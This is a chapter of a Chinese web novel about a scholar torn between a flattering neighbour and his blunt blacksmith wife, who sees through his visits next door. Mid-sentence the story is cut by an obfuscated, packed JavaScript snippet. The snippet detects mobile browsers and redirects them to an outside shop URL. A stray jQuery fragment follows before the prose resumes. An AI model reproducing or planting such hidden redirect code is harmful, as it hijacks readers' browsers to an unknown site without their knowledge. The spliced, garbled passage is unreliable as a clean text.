周砚书从府城回来后的第三天,把那篇新改好的文章拿给了柳含烟看。
那天他是特意挑宋云铮在铁铺里忙的时候去的,手里攥着那卷纸,敲隔壁门的时候心跳得厉害。门开了,柳含烟看见是他,眼睛先亮了一下,随即又浮上一层薄薄的红。
"周相公来了,快进来。"她让开门,目光在他手里的纸卷上停了一瞬,"这是……"
"新作的文章。"周砚书清了清嗓子,有点不好意思,"想请柳娘子帮着看看。"
柳含烟睁大了眼,白净的手指掩在唇边,又惊又喜:"周相公太抬举我了,我哪懂什么文章……"
"没事,你随便看看就行。"周砚书把纸卷展开铺在桌上,退开半步让她看。
柳含烟凑过去,低头看那密密麻麻的墨字。她确实看不懂——那些策论考据引经据典的东西对她来说全是天书。但她看得很认真,眉头微微蹙着,指尖跟着一行一行的字往下移,偶尔"嗯"一声,偶尔点一下头,神情专注得像在观摩什么稀世珍宝。
看完最后一行的落款,她抬起头来,眼眶居然微微泛了红。
"太好了,"她说,声音轻轻的,带着一种由衷的赞叹,"周相公这文章写得太好了,我虽然看不太懂,但就是觉得……觉得特别厉害。周相公以后一定是要做大官的。"
周砚书被她夸得脸上发热,摆摆手谦虚了几句。柳含烟又给他续了茶,茶香袅袅的,混着她屋子里的桂花香气,让人心神荡漾。她坐在对面双手捧着茶杯,眼睫低垂着,细声细气地问他这篇文章写了多久、费了多少心思、有没有拿给别人看过。
周砚书说写了小半个月,改了好几稿,给傅教谕看过了,傅教谕夸了几句。
柳含烟便含笑点头:"傅教谕都夸了,那必然是极好的。周相公真是才华横溢,咱们青石镇十几年怕也出不了一个像你这样的举人。"
周砚书喝了一口茶,那股子被捧着的熨帖感从喉咙一路暖到胃里。他想起之前把文章拿给宋云铮看时她那些"这里逻辑不通""这句啰嗦"的话,再对比柳含烟此刻满眼的崇拜,差距大得像隔着一条河。
他在柳含烟那儿坐了将近一个时辰才起身告辞。临走时柳含烟从柜子里拿出一个小瓷罐递给他,说是新做的桂花蜜,让他带回去冲水喝。
"天凉了,喝点热的暖身子。"她笑盈盈的,手腕上那串细银镯子叮叮响了一声。
周砚书接过瓷罐的时候碰了她一下,两个人的手指隔着罐壁蹭了蹭,都不动声色地缩了回去。他说了谢,出了门,在暮色里快步回了自家院子。
推开门的时候宋云铮正蹲在水井边洗手。她今天收工早,围裙还没解,铁灰溅了满脸。听见脚步声抬头看了他一眼,目光落在他手里那个新的小瓷罐上。
"又送东西了?"她问。
周砚书"嗯"了一声,把瓷罐搁在桌上:"桂花蜜,冲水喝的。"
宋云铮甩了甩手上的水站起来,走到桌边拿起瓷罐拧开盖子闻了闻,桂花的甜香扑了满鼻。她合上盖子放回去,说:"放柜子里吧,甜的东西我不爱吃。"
周砚书本能想说"又不是给你喝的",话到嘴边硬生生咽了回去。他把瓷罐拿进厨房搁进柜子里,跟之前那坛桂花酱放在了一起。柜子里已经有三样了——桂花酱、桂花糕的油纸包、还有这罐桂花蜜,齐齐整整码在一格。
他关上柜门的时候余光瞥见宋云铮站在灶台边看着他。那目光平得像一面镜子,映着他忙活的样子,干干净净的,什么多余的影子都没有。
他心口一紧,快步去了书房。
进了书房他把门关上,坐在书案前平复呼吸。过了一会儿他听见宋云铮的脚步声在堂屋里响了一阵,然后停了,然后小打铁间那边传来了锤声。
周砚书松了口气,把书案上那卷文章重新展开看了看。刚才在柳含烟那儿被夸得飘飘然,此刻独自坐在灯光底下再看,忽然又觉得有几个地方立论略窄了。他拿起笔蘸了墨,准备再改一改。
改到一半,他鬼使神差地拿起了这卷文章,出了书房穿过院子走进了小打铁间。
宋云铮正在打一件新农具,大概是犁头,烧红的铁料在她锤下一点一点成形,火星溅得到处都是。炉膛里的火光把她黧黑的脸映成暖橘色,汗珠顺着下巴滴在铁砧上,滋的一声化作白烟。
周砚书站在小打铁间门口,手里攥着那卷文章,喉咙动了动才开口:"云铮。"
宋云铮停了锤,抬头看他。
"这篇文章……我又改了一版。"他把纸卷递过去,"你看看?"
宋云铮把锤子放下,在围裙上擦了擦手上的灰,接过纸卷展开。她凑到炉火旁边借光看,一行一行扫过去,速度不快不慢,遇到某些段落会停下来多看两眼。
周砚书站在她身后,心提着,像从前在县学等先生批卷子似的。
宋云铮看完最后一行,合上纸卷递还给他。她抬头看着他的眼睛,脸上没什么表情,语气也平稳,但说出来的话让周砚书心头那点期待一下子落了地。
"比上一稿好一些,修辞精炼了。但第三节论民生那里还是撑不起来,前面铺得太开,引了三段典故,收的时候只用了一句结论,头重脚轻。如果改不了第三节,不如把前面压缩一段,直接切进去更快。"
周砚书怔住了。
她说得对。第三节能感觉到写的时候贪心了,想把各路经义都融进来,结果越写越散收不拢。他自己也知道那里有问题,可舍不得删那几段自认为精彩的引用,就一直硬撑着没改。如今被宋云铮一句话戳在了软肋上,他又窘又服,脸上青一阵红一阵。
"……知道了。"他把纸卷收回来,在手里捏了捏。
宋云铮已经转回去继续抡锤了,叮的一声砸在铁料上,火星又溅了满天。她的声音从炉火那边闷闷传过来:"你想考会试,策论是重头,光辞藻好看没用,立论要稳。我爹从前说过一句话,铁器看着硬,折的地方全在软处。文章也一样。"
周砚书站在铺子门口,手里捏着那卷被挑了一通毛病的文章,心里五味杂陈。
她说得对,他没办法反驳。可正是因为没办法反驳,他心里那股子憋屈才越发翻涌上来。柳含烟捧着这卷文章说"太好了""特别厉害""周相公真是才华横溢",宋云铮却连一句"还行"都吝啬。她知道他哪里好,可从来不说;她知道他哪里不好,张嘴就点。
他想被她夸一句。哪怕是"不错""尚可""有点意思"都行。可她偏不。三年了,没夸过他一个字。
周砚书攥紧了手里的纸卷,纸页被捏出几道折痕。他转过身往书房走,走了两步又停住,背对着铁铺的方向说了一句:"你就不能夸我一次?"
锤声停了。
宋云铮的声音从身后传来,带着炉火烘出来的沙哑:"夸你有什么用?你真正该改的地方我不说,谁跟你说?隔壁那个只会说好话的?"
周砚书的身子僵了。
他猛地转过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834929|211396||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身来,铁铺里的火光从门口涌出来泼了他一身。宋云铮站在炉子前看着他,手里握着铁锤,围裙上全是黑灰和火星溅出的窟窿眼。她黧黑的脸上沾着汗和灰,一双眼睛在火光里黑得发亮。
"你知道我去隔壁?"周砚书的嗓子发紧。
宋云铮没答他,把锤子搁回铁砧上,弯腰熄了炉膛的火。火舌缩下去,铺子里的光线一下子暗了,只剩墙角一盏油灯昏黄地晃着。她拍了拍手上的灰,拿起围裙边角擦了擦脸上的汗,声音平淡得像在说一件跟她毫无关系的事。
"你从县学回来的时辰比从前晚了半个时辰,进门之前衣裳上偶尔有桂花的味道,鞋底沾的泥颜色跟咱家院子里的不一样,隔壁院墙根底下的土是红壤。"
她说完这段话就从他身边走过去了,带起的风里全是铁锈和汗的气味。
周砚书站在原地,从头到脚像被泼了一盆冷水。
她知道。她什么都知道。巷口碰见、桂花糕、桂花酱、桂花蜜、那双绣了竹叶纹的鞋面、怀里揣着鼓包回来的那次、她缝衣裳时针脚忽然变密了的那天晚上——他以为他藏得天衣无缝,原来她全看在眼里,只是没说。
小打铁间里的炉火熄了,冷下来的铁料在黑暗里发出细微的"咔咔"收缩声。周砚书攥着那卷皱巴巴的文章站在门口,寒气从脚底往上爬,爬进骨头缝里。
宋云铮的卧房亮起了灯,然后很快又熄了。
她把门闩落下了。
周砚书在小打铁间门口站了很久,久到手里的纸卷被夜风冻得硬了,纸页边缘割着虎口生疼。他慢慢走回书房,在书案前坐下,把皱了的文章展开抚平,对着灯光看了很久。
宋云铮说的那三个毛病他重读了一遍,果然越看越刺眼,越看越觉得当初写的时候贪了。他拿笔蘸了墨,狠了狠心,把第三节开头一段自诩精彩的引文划掉了,重新铺了三行直接切到论点上去,笔墨落纸的声音在寂静的夜里格外清晰。
改完最后一个字的时候他搁了笔,对着新改的稿子看了很久。确实顺畅多了,立论稳了,整篇文章的筋骨比以前硬朗。他明知道宋云铮说得对,可心里那根刺被她挑出来之后反而扎得更深了——她懂文章,她看得出好坏,她一句"这里撑不起来"比他反复誊改十遍都有用。
可她说这话的时候,眼里一点温度都没有。像匠人点评一件铁器,哪里软了哪里折了哪里有砂眼,全都照实说,不带半点私情。
周砚书把改好的文章折好放进书箱里,然后靠在椅背上仰头看房梁。
隔壁的琵琶声又响了,这回弹得完整,一首曲子从头到尾没断过。周砚书闭着眼听了一会儿,脑子里翻来覆去转着两句话。
柳含烟说"周相公真是才华横溢"。
宋云铮说"夸你有什么用"。
一句轻得像羽毛,一句重得像锤子。两根细细的绳子从不同方向扯着他往两边走,扯得他整个人快要裂成两半了。
他睁开眼,把窗户推开一条缝。夜风从缝里灌进来,裹着隔壁院子桂花树的香气。又甜又腻,顺着鼻腔一直钻到心底最软的地方去。
他用手指蹭了一下窗台上的灰,蹭了一指头的黑。
放下手的时候他看见了隔壁院墙根底下的土——红壤。他低头看自己鞋底,黑灰的泥。他又想起宋云铮平静说"隔壁院墙根底下的土是红壤"那句话时的脸,在炉火映照底下没有任何起伏,像一面打废了的铁板。
他把窗户关上了,咔嗒一声落了闩。